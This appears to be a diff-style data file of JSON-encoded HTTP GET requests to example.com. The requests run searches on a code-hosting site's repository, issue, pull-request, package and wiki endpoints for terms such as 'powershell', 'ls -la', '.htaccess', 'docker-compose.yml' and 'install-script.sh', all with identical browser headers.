+{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice?tab=repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=docker-compose.yml&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/repos?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/code?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/pulls?state=open&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/issues?type=your_repositories&q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/explore/organizations?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
